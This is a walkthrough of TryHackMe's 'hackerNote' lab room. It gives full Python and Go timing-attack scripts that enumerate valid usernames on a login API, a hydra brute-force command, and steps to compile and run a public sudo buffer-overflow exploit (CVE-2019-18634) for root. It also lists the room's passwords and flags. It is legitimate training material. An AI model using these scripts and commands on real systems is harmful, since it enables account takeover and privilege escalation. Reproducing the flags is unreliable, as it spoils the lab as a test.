In this walk through, we will be going through the hackerNote room from Tryhackme. This room is rated as Medium on the platform and it consist a custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit. So, let’s get started without any delay.

Table of Contents
Machine Info:
Title | hackerNote |
IPaddress | 10.10.148.181 |
Difficulty | Medium |
Objective | A custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit. |
Task 1 – Reconnaissance
Question 1 – Which ports are open? (in numerical order)
- Used the below command to perform a port and service version detection using nmap.
sudo nmap -sS -sV 10.10.148.181

22,80,8080
Question 2 – What programming language is the backend written in?
go

Task 2 – Investigate
Question 1 – Create your own user account
Done



Question 2 – Log in to your account
Done


Question 3 – Try and log in to an invalid user account
Done

Question 4 – Try and log in to your account, with an incorrect password.
Done

Question 5 – Notice the timing difference. This allows user enumeration
Done

Task 3 – Exploit
Question 1 – Try to write a script to perform a timing attack.
Done
- As per the network tab, a request is being made to the /api/user/login endpoint whenever we try to login as a user. There is a time delay when a attempt of login is being done for a valid user, which let us enumerate us the potential users.

Question 2 – How many usernames from the list are valid?
- I used the the exploit written in go as the python one was really slow. However, with the “go” one, there is a lot of false positives and it requires couple of attempts to get it right.
# Timing attack exploit on the login form for hackerNote # You can increase your success chance by adding your own username to the top of the list # Assumes you have at least ONE correct username, create an account and use that! import requests as r import time import json URL = "http://10.10.148.181/api/user/login" USERNAME_FILE = open("usernames.txt", "r") usernames = [] for line in USERNAME_FILE: # Read in usernames from the wordlist usernames.append(line.replace("\n", "")) timings = dict() def doLogin(user): # Make the HTTP request to the API creds = {"username": user, "password": "invalidPassword!"} response = r.post(URL, json=creds) if response.status_code != 200: # This means there was an API error print("Error:", response.status_code) print("Starting POST Requests") for user in usernames: # Do a request for every user in the list, and time how long it takes startTime = time.time() doLogin(user) endTime = time.time() # record the time for this user along with the username timings[user] = endTime - startTime # Wait to avoid DoSing the server which causes unreliable results time.sleep(0.01) print("Finished POST requests") # Longer times normally mean valid usernames as passwords were verified largestTime = max(timings.values()) smallestTime = min(timings.values()) # Ideally the smallest times should be near instant, and largest should be 1+ seconds print("Time delta:", largestTime-smallestTime, "seconds (larger is better)") # A valid username means the server will hash the password # As this takes time, the longer requests are likely to be valid users # The longer the request took, the more likely the request is to be valid. for user, time in timings.items(): if time >= largestTime * 0.9: # with 10% time tolerence print(user, "is likely to be valid")
package main import ( "bufio" "encoding/json" "log" "net/http" "os" "strings" "time" ) var ( usernameChan chan string resultsChan chan result ) type login struct { Username string `json:"username"` Password string `json:"password"` } type result struct { username string time int64 } func main() { var usernameSlice []string var resultsSlice []result file, err := os.Open("usernames.txt") if err != nil { log.Fatalln(err) } defer file.Close() //Create a reader and read usernames in scanner := bufio.NewScanner(file) for scanner.Scan() { //Build wordlist as a Slice (array) usernameSlice = append(usernameSlice, strings.TrimSuffix(scanner.Text(), "\n")) } //Create buffers/channels for threads bufSize := len(usernameSlice) usernameChan = make(chan string, bufSize) resultsChan = make(chan result, bufSize) log.Println("Usernames buffered, sending requests") for i:=0;i<bufSize;i++ { //Send the work to each thread usernameChan <- usernameSlice[i] //Back off every 50 requests, otherwise you *WILL* DoS the server if i % 50 == 0 {time.Sleep(time.Millisecond*200)} go doAndtimeRequest(<- usernameChan) } log.Println("Work sent") for i:=0;i<bufSize;i++ { //Retrieve results from each thread var res result res = <- resultsChan resultsSlice = append(resultsSlice, res) } log.Println("Work completed") max := findMax(resultsSlice) findValidUsernames(resultsSlice,max) } func findValidUsernames(res []result, max int64) { //using the max time, find times within 10% of this and print unames threshold := 0.9 * float64(max) for _, val := range res { if float64(val.time) > threshold { log.Println(val.username, "is likely to be valid") } } } func findMax(res []result) int64 { max := int64(0) for _, val := range res { if val.time > max { max = val.time } } return max } func doAndtimeRequest(username string) { start := time.Now() doLoginPOST(username) end := time.Now() res := result{username: username, time: end.Sub(start).Nanoseconds()} resultsChan <- res } func doLoginPOST(username string) { //This performs the API POST request jsonStr, err := json.Marshal(login{Username: username, Password: "invalidPassword1"}) if err != nil { log.Println(err.Error()) } reader := strings.NewReader(string(jsonStr)) resp, _ := http.Post("http://10.10.148.181/api/user/login", "application/json", reader) resp.Body.Close() }

1
Question 3 – What are/is the valid username(s)?

james

Task 4 – Attack Passwords
Question 1 – Form the hydra command to attack the login API route
Done
./combinator.bin ~/CTF/TryHackme/hackernote/colors.txt ~/CTF/TryHackme/hackernote/numbers.txt > ~/CTF/TryHackme/hackernote/wordlist.txt

hydra -l james -P wordlist.txt 10.10.148.181 http-post-form "/api/user/login:username=^USER^&password=^PASS^:Invalid Username Or Password"
Question 2 – How many passwords were in your wordlist?
wc -l wordlist.txt

180
Question 3 – What was the user’s password?

blue7
Question 4 – Login as the user to the platform
Done

Question 5 – What’s the user’s SSH password?

dak4ddb37b
Question 6 – Log in as the user to SSH with the credentials you have.
Done

Question 7 – What’s the user flag?
thm{56911bd7ba1371a3221478aa5c094d68}

Task 5 – Escalate
Question 1 – What is the CVE number for the exploit?


CVE-2019-18634
Question 2 – Find the exploit from https://github.com/saleemrashid/ and download the files.
Done

Question 3 – Compile the exploit from Kali linux.
Done
gcc exploit.c -o pwn

Question 4 – SCP the exploit binary to the box.
Done
scp pwn [email protected]:/tmp


Question 5 – Run the exploit, get root.
Done
Question 6 – What is the root flag?

thm{af55ada6c2445446eb0606b5a2d3a4d2}

Task 6 – Comments on realism and Further Reading

Also Read: Tryhackme – Gallery
Conclusion:

So that was “hackerNote” for you. We first started with a nmap scan with service version detection flag set and found three ports opened – 22 (SSH), 80 and 8080 (HTTP). Enumerated the web application on port 80 and a notes application. I checked the network tab and tried to login, there found out that a login request to an API endpoint at /api/user/login is being made. Used a go exploit to enumerate the potential usernames with the API endpoint. Bruteforced the user james SSH password using SSH and thus got the initial access. At last, escalated our privileges by using Sudo “Pwfeedback” Buffer overflow exploit and got root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.